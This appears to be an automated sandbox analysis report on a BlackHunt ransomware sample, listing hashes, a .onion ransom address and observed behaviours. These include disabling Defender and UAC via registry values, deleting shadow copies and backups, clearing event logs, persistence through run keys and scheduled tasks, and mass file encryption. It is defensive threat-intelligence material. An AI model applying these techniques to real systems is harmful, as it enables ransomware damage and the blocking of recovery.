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Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe
Resource
win10v2004-20231215-en
General
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Target
04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe
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Size
707KB
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MD5
32fd310435c9fe31f46141a36ef27a97
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SHA1
8a3685389a7279403d7fa63a155c8f2791d8cb60
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SHA256
04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878
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SHA512
e6d1b7887b9159049802fd58018f355b070206f24c1e573d6c822b3b99d3dbbd7ffc690fa0a6c78aed13a1963e98159b204114af83bde8781a76015c71c20135
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1T84vnh:6uaTmkZJ+naie5OTamgEoKxLWaGh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2476 fsutil.exe 1436 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 344 wevtutil.exe 2176 wevtutil.exe 624 wevtutil.exe 2756 wevtutil.exe 1904 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 312 bcdedit.exe 1880 bcdedit.exe 1824 bcdedit.exe 1352 bcdedit.exe -
Renames multiple (2877) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1700 wbadmin.exe 1536 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 1960 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\G: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\H: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\X: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\A: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\M: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\O: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\B: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Z: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\V: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\T: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\P: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\K: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\L: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\R: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\Y: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\U: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\N: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\I: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\S: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\J: 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened (read-only) \??\F: vssadmin.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-6 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cuiaba 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baku 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Azores 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Palau 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\#BlackHunt_Private.key 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Lima 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+7 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util-lookup.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_zh_CN.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Jamaica 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Currie 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kwajalein 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterRegular.ttf 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\7-Zip\Lang\ta.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Beirut 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files (x86)\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\3difr.x3d 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.properties 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_ja.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Barbados 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\dsn.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-multitabs.xml 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-dialogs.xml 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-windows.xml 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_ReadMe.hta 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-ui.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler.xml 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Seoul 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jre7\lib\fonts\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-api.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\reflect.png 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson_Creek 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_zh_4.4.0.v20140623020002.jar 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_mac.css 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe File created C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_ReadMe.txt 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1980 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2496 vssadmin.exe 2904 vssadmin.exe 2672 vssadmin.exe 1624 vssadmin.exe 344 vssadmin.exe 772 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3056 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3192 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3200 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeRestorePrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeBackupPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeTakeOwnershipPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeAuditPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeSecurityPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeIncBasePriorityPrivilege 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe Token: SeBackupPrivilege 2980 vssvc.exe Token: SeRestorePrivilege 2980 vssvc.exe Token: SeAuditPrivilege 2980 vssvc.exe Token: SeBackupPrivilege 2692 wbengine.exe Token: SeRestorePrivilege 2692 wbengine.exe Token: SeSecurityPrivilege 2692 wbengine.exe Token: SeSecurityPrivilege 2176 wevtutil.exe Token: SeSecurityPrivilege 344 wevtutil.exe Token: SeBackupPrivilege 344 wevtutil.exe Token: SeBackupPrivilege 2176 wevtutil.exe Token: SeSecurityPrivilege 1904 wevtutil.exe Token: SeBackupPrivilege 1904 wevtutil.exe Token: SeSecurityPrivilege 2756 wevtutil.exe Token: SeBackupPrivilege 2756 wevtutil.exe Token: SeSecurityPrivilege 624 wevtutil.exe Token: SeBackupPrivilege 624 wevtutil.exe Token: SeDebugPrivilege 3056 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1672 wrote to memory of 3068 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 30 PID 1672 wrote to memory of 3068 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 30 PID 1672 wrote to memory of 3068 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 30 PID 1672 wrote to memory of 3068 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 30 PID 1672 wrote to memory of 2716 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 31 PID 1672 wrote to memory of 2716 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 31 PID 1672 wrote to memory of 2716 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 31 PID 1672 wrote to memory of 2716 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 31 PID 1672 wrote to memory of 2836 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 32 PID 1672 wrote to memory of 2836 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 32 PID 1672 wrote to memory of 2836 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 32 PID 1672 wrote to memory of 2836 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 32 PID 3068 wrote to memory of 2940 3068 cmd.exe 35 PID 3068 wrote to memory of 2940 3068 cmd.exe 35 PID 3068 wrote to memory of 2940 3068 cmd.exe 35 PID 1672 wrote to memory of 2740 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 36 PID 1672 wrote to memory of 2740 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 36 PID 1672 wrote to memory of 2740 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 36 PID 1672 wrote to memory of 2740 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 36 PID 1672 wrote to memory of 2932 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 38 PID 1672 wrote to memory of 2932 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 38 PID 1672 wrote to memory of 2932 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 38 PID 1672 wrote to memory of 2932 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 38 PID 2716 wrote to memory of 2864 2716 cmd.exe 40 PID 2716 wrote to memory of 2864 2716 cmd.exe 40 PID 2716 wrote to memory of 2864 2716 cmd.exe 40 PID 1672 wrote to memory of 1976 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 41 PID 1672 wrote to memory of 1976 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 41 PID 1672 wrote to memory of 1976 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 41 PID 1672 wrote to memory of 1976 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 41 PID 1672 wrote to memory of 2808 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 43 PID 1672 wrote to memory of 2808 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 43 PID 1672 wrote to memory of 2808 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 43 PID 1672 wrote to memory of 2808 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 43 PID 2836 wrote to memory of 2620 2836 cmd.exe 148 PID 2836 wrote to memory of 2620 2836 cmd.exe 148 PID 2836 wrote to memory of 2620 2836 cmd.exe 148 PID 1672 wrote to memory of 2896 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 45 PID 1672 wrote to memory of 2896 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 45 PID 1672 wrote to memory of 2896 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 45 PID 1672 wrote to memory of 2896 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 45 PID 1672 wrote to memory of 2200 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 47 PID 1672 wrote to memory of 2200 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 47 PID 1672 wrote to memory of 2200 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 47 PID 1672 wrote to memory of 2200 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 47 PID 1672 wrote to memory of 2632 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 49 PID 1672 wrote to memory of 2632 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 49 PID 1672 wrote to memory of 2632 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 49 PID 1672 wrote to memory of 2632 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 49 PID 2932 wrote to memory of 2700 2932 cmd.exe 50 PID 2932 wrote to memory of 2700 2932 cmd.exe 50 PID 2932 wrote to memory of 2700 2932 cmd.exe 50 PID 1672 wrote to memory of 2852 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 51 PID 1672 wrote to memory of 2852 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 51 PID 1672 wrote to memory of 2852 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 51 PID 1672 wrote to memory of 2852 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 51 PID 1672 wrote to memory of 2600 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 53 PID 1672 wrote to memory of 2600 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 53 PID 1672 wrote to memory of 2600 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 53 PID 1672 wrote to memory of 2600 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 53 PID 2740 wrote to memory of 2628 2740 cmd.exe 54 PID 2740 wrote to memory of 2628 2740 cmd.exe 54 PID 2740 wrote to memory of 2628 2740 cmd.exe 54 PID 1672 wrote to memory of 2660 1672 04dd27ab0e38d87a2cd286fddbbfd6f940c07439a0f65a1e857458826910d878.exe 55 -
System policy modification 1 TTPs 3 IoCs
